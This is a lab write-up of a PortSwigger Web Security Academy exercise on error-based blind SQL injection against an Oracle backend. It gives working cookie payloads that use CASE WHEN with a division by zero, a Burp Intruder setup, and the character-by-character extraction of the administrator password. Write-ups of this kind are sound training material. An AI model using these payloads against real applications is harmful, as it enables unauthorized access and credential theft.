Blind SQL Injection — Error-Based Conditional (Oracle)¶
| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Vulnerability | Blind SQL Injection — Error-Based with Conditional Expressions |
| Difficulty | Practitioner |
| Injection Point | TrackingId cookie |
| Goal | Extract the administrator password using conditional error triggering |
Phase 1 — Reconnaissance¶
We land on a shopping center page. The vulnerability is in the TrackingId cookie.
Adding a ' to the cookie returns HTTP/2 500 Internal Server Error:
Adding a true statement restores 200 OK:
Cookie: TrackingId=YwojAtosrcXRlSmd' or 1=1 -- -
This confirms injectable input. Unlike the previous boolean lab where the signal was "Welcome back" present or absent, here the signal is the HTTP status code — 500 means the injected condition triggered a database error, 200 means it did not.
Phase 2 — DB Fingerprinting¶
Testing whether subqueries are evaluated:
TrackingId=YwojAtosrcXRlSmd' and (select 'x')='x' -- -
This returned 500 — but that's because the context is different. Let's test with Oracle's DUAL table to confirm the backend:
TrackingId=YwojAtosrcXRlSmd' and (select 'x' from dual)='x' -- -
200 OK — FROM dual works, confirming Oracle as the backend. The extraction technique must now use Oracle syntax throughout.
Phase 3 — The Technique: CASE WHEN + Division by Zero¶
The previous lab used "Welcome back" as the boolean signal. Here the application returns the same HTTP body regardless of the query result — the only feedback is whether a database error occurred. The technique exploits this by deliberately triggering a division-by-zero error when a condition is true, and returning NULL (no error) when it is false:
'||(SELECT CASE WHEN (<condition>) THEN TO_CHAR(1/0) ELSE NULL END FROM <table> WHERE ...)||'
- Condition true →
TO_CHAR(1/0)→ division by zero →500 Internal Server Error - Condition false →
NULL→ no error →200 OK
The payload uses string concatenation (||) instead of AND because we are injecting into a string context rather than a WHERE clause — the original query's string is closed, our subquery is concatenated into it, and the query is not commented out at the end. This means the injection must be syntactically valid on both sides.
Phase 4 — Attack Path¶
Step 1 — Confirm the Target User Exists¶
500 = user exists (condition true → divide by zero):
TrackingId=YwojAtosrcXRlSmd'||(select case when (1=1) then to_char(1/0) else null end from users where username = 'administrator')||'
200 = user does not exist (no row returned → CASE never evaluated → no error):
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE NULL END FROM users WHERE username='test')||'
The behavioral difference is confirmed — 500 when a matching row exists, 200 when it doesn't.
Step 2 — Determine Password Length¶
Incrementing the length value and looking for 500:
TrackingId=YwojAtosrcXRlSmd'||(select case when length(password)=20 then to_char(1/0) else null end from users where username = 'administrator')||'
500 at length(password) = 20 — the administrator's password is 20 characters long.
Step 3 — Extract Password Character by Character¶
Using SUBSTR (Oracle syntax — not SUBSTRING) to extract one character at a time:
TrackingId=YwojAtosrcXRlSmd'||(select case when substr(password,§1§,1)='§x§' then to_char(1/0) else null end from users where username = 'administrator')||' -- -;
Burp Intruder — Cluster Bomb attack:
- Payload 1 (position
§1§): numbers 1 to 20 - Payload 2 (character
§x§):a-zlowercase +0-9
Adding a Grep Match rule for 500 Internal Server Error to identify correct characters:
Attack results — requests returning 500 at each position reveal the correct character:
Administrator password recovered: s55bag0lbm2o5ovghyc2
Alternative — Python Automation¶
The same extraction can be automated with a Python script. It iterates through every character position (1 to 20) and for each position tries every character in a-z + 0-9. For each combination it sends a GET request with a crafted TrackingId cookie containing the SUBSTR payload. If the response contains HTTP/2 500 Internal Server Error, the character is confirmed, appended to the recovered password, and the script moves to the next position. Progress is displayed in real time using pwntools log bars.
Conclusion¶
- A
'caused500;or 1=1 -- -restored200— confirming injectable input with HTTP status as the feedback channel. FROM dualsucceeding confirmed Oracle as the backend.CASE WHEN (condition) THEN TO_CHAR(1/0) ELSE NULL ENDwas used as the extraction primitive — true condition triggers division-by-zero →500; false condition returns NULL →200.- Row existence was confirmed;
length(password) = 20returned500— establishing the password length. - Cluster Bomb Intruder with
SUBSTRacross positions 1–20 and charseta-z+0-9, filtering on500responses, recovered the full password:s55bag0lbm2o5ovghyc2.
Key Concepts¶
Error-based blind vs. boolean-based blind — both are blind, but the signal differs. Boolean-based blind used "Welcome back" (application behavior); error-based blind uses the HTTP status code (500 vs. 200). The extraction logic is identical — the only difference is what you observe to determine true vs. false.
Why CASE WHEN + division by zero — when the application returns no data and behaves identically for true and false SQL conditions, you need to manufacture a detectable difference. Triggering a database error (division by zero, type coercion failure) is the most reliable way to do this — the error propagates to the HTTP layer as a 500.
Oracle syntax differences from previous labs:
| Operation | Non-Oracle | Oracle |
|---|---|---|
| Substring | SUBSTRING(str, pos, len) |
SUBSTR(str, pos, len) |
| Dummy table | not needed | FROM dual |
| Division error | 1/0 (may vary) |
TO_CHAR(1/0) |
| Concatenation | \|\| or CONCAT() |
\|\| only |
Injection via concatenation (||) vs. AND — in this lab the payload is injected into a string context using || on both sides rather than closing the query with -- -. This requires the payload to be syntactically valid on both sides of the injection point — no trailing comment needed because the original string terminator closes it on the right.